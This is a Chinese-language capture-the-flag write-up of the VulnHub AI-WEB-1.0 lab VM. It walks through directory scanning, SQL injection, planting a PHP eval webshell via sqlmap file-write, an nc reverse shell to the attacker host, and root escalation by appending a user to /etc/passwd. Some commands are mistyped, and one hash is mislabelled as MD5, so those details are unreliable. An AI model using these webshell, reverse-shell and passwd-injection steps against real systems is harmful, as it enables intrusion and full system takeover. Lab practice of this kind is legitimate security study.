目录
# 前言
一开始吧,是挖SRC来的,结果呢,可能是自己菜吧,明明看到有洞,就是打不进去。这个事情就很上火,于是就上VULNHUB上找个靶机打打,找找自信。但是,这个靶机打起来遇着几个坑,导致很快就能解决的问题,硬是拖了几个小时。本来吧,是想祛祛火,结果反而更加上火。在上火过程中也是参考了一些师傅的write up,但是在使用的时候依然遇着不少坑,特此记录分享,希望能够帮助有需要的师傅,文中有不足之处,还请师傅们指点。
# 环境准备
1.AI-WEB-1.0靶机(192.168.44.133)
2.Kali-linux攻击机(192.168.44.128)
3.Windows7攻击机(为了蚁剑连接shell的)
# 前期交互
首先明确靶机的目标是从"/root/flag.txt”中获取flag。靶机下载地址:
https://www.vulnhub.com/entry/ai-web-1,353/
下载好压缩包后,直接用VMware打开就好。一开始登录是这个样子滴:
额,用户名密码是啥?我找遍了文件和压缩包以及百度都没有发现。
既然如此,就不能用常规方法了,不客气!
#信息收集
接下来,在Kali中使用命令:
netdiscover #查看当前靶机和攻击机是否在同一个局域网下。
访问一下靶机的ip地址:(谷歌看不到,火狐也看不到啊喂!)
dirb #网站后台扫描
#后台扫描内容
http://192.168.44.133/index.html
http://192.168.44.133/robots.txt
http://192.168.44.133/server-status
突然发现有个robots.txt,嗯,这个一定要看看。
User-agent: *
Disallow:
Disallow: /m3diNf0/
Disallow: /se3reTdir777/uploads/
文件中的两个目录,稍微组合一下就变成了:
http://192.168.44.133/m3diNf0/
http://192.168.44.133/se3reTdir777/uploads/
再次访问发现,两个403,真是意(ma)料(ma)之(lie)中(lie)。
既然如此,用dirb命令再扫描一次两个URL。
http://192.168.44.133/m3diNf0/info.php
http://192.168.44.133/se3reTdir777/index.php
先看第一个吧,是一个“phpinfo”文件,在文件中看到了几个非常重要的信息:
DOCUMENT_ROOT /home/www/html/web1x443290o2sdf92213
SERVER_ADMIN webmaster@localhost
User/Group www-data(33)/33
所以搭完站为什么要第一时间删掉phpinfo啊,师傅们!(战术后仰)
再看第二个,是一个查询框。既然有查询,说明和数据库有交互,记得有师傅说过一句话:一切和数据库交互的地方,都有可能发生数据泄漏。
提交数据抓个包看看。
#渗透攻击
# 注入攻击
偶然发现好像存在注入点,发送到Repeater里搞一下。(通过报错信息闭合语句,这里没有采用注释符的方式,而是采用闭合前后语句的方式。注入点在uid处。)
于是通过手工注入的方式拿到了库中所有的用户名和密码。(白玩了,看起来哪个都不像是系统登录的用户名和密码。)
systemUser中的用户名及对应密码:
t00r:RmFrZVVzZXJQYXNzdzByZA==(FakeUserPassw0rd),
aiweb1pwn:TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ==,
u3er:TjB0VGhpczBuZUFsczA=
user中的用户名及对应密码:
admin:admin,
root:root,
mysql:mysql
从SQL注入攻击的路是行不通了,只好上网找找资料。于是发现了通过SQLMAP可以在uploads目录中写入shell脚本。(前提是uploads目录有写文件的权限。)
sqlmap -u "http://192.168.44.133/se3reTdir777/index.php"
--data "uid=1&Operation=Submit" --file-write ./hack.php
--file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php
"""
-u URL地址
--data 注入点数据
--file-write hack.php在本地文件位置
--file-dest hack.php文件在目标服务器的位置
"""
附:
hack.php中的内容:
<?php @eval($_POST["shell"]);?>
在URL中访问后发现是空白页面而不是404,查看源代码后发现shell已经被解析,因此尝试用windows7中的蚁剑连接shell脚本。连接到shell后,自然要从蚁剑的shell模式中查看“whoami”,而当前用户为“www-data”,由于文件在“/root/flag.txt”,因此涉及到提权问题。
#连接shell问题:
# 坑一:
那么问题又来了,蚁剑的shell有些命令不能执行,于是采用SQLMAP执行os-shell,创造一个新的shell界面。
sqlmap -u "http://192.168.44.133/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --level 3 --os-shell
但是使用后发现这个os-shell不好用啊。
#坑二:
于是我又百度来着,发现“rm /tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh -i 2>&1|nc 192.168.44.128 8023 >/tmp/f”可以以反向连接的方式生成新的shell。
首先在Kali中采用“nc -lvp 8023”监听,
其次通过在蚁剑中输入“rm /tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh -i 2>&1|nc 192.168.44.128 8023 >/tmp/f”反弹连接。(这里看截图就知道我为什么失败了,命令里的ip应该是kali攻击机的ip。)
#提权的坑
提权是最坑的地方了,也是最耗费时间的地方。
通过“uname -a”查看内核版本,百度查看相应提权方法。
$ uname -a
Linux aiweb1 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
百度说:该内核下存在通过“openssl添加root级用户“提权的方法。
在kali端操作:
www-data@aiweb1:/home/www/html/web1x443290o2sdf92213
/se3reTdir777/uploads$ openssl passwd -1 -salt hacker1 123456 #我输入的
<777/uploads$ openssl passwd -1 -salt hacker1 123456
$1$hacker1$Eb4FVosfk8zgeP8AJbAXg. #服务端回显的
百度还说:将“echo 'hacker:$1$hacker$6luirwdgpbvxdp.gmwczp/ :0:0::/root:/bin/bash' >> /etc/passwd”添加到“/etc/passwd”中。这个思路是由于当前用户可以更改自己的密码,因此可以通过将添加用户的信息添加到“/etc/passwd”文件中,由此登录“openssl”添加的用户。
#坑三:
这个是坑了我时间最长的一个坑,别问,问就是因为我菜没看懂命令,对linux了解的不够深刻。
百度上次说:通过“echo 'hacker:$1$hacker1$Eb4FVosfk8zgeP8AJbAXg.:0:0::/root:/bin/bash' >> /etc/passwd”可以将用户信息添加到passwd文件中,由此可通过su命令切换为root权限的用户。
就这一个操作我试了一个多小时。后来想想不太对,于是通过“cat /etc/passwd”查看了一下root用户的格式:
root:x:0:0:root:/root:/bin/bash
又通过百度看了一下:通过kali中的python计算出“123456”的md5值为“mdlcLmLJA3EYc”
重新组合:
echo 'hacker1:mdlcLmLJA3EYc:0:0:root:/root:/bin/bash' >> /etc/passwd
su切换用户顺便看看我是谁:
看看flag:
上靶机再得瑟得瑟:
所以靶机root的密码到底是啥???????
# 后记
这回靶机真的是让我学到了许多新的东西,不得不承认大佬们真的厉害。譬如,“sqlmap --os-shell”开启新的shell窗口,“sqlmap --file-write --file-dest”上传文件,以及通过python计算md5后,添加到passwd中进行提权操作。也难怪自己四处挖不到东西,掌握的知识还是不够多,归根结底还是菜。不管怎么说,通过本文希望给自己做一个成长记录,也希望它能够给遇到同样问题的师傅们一些思路。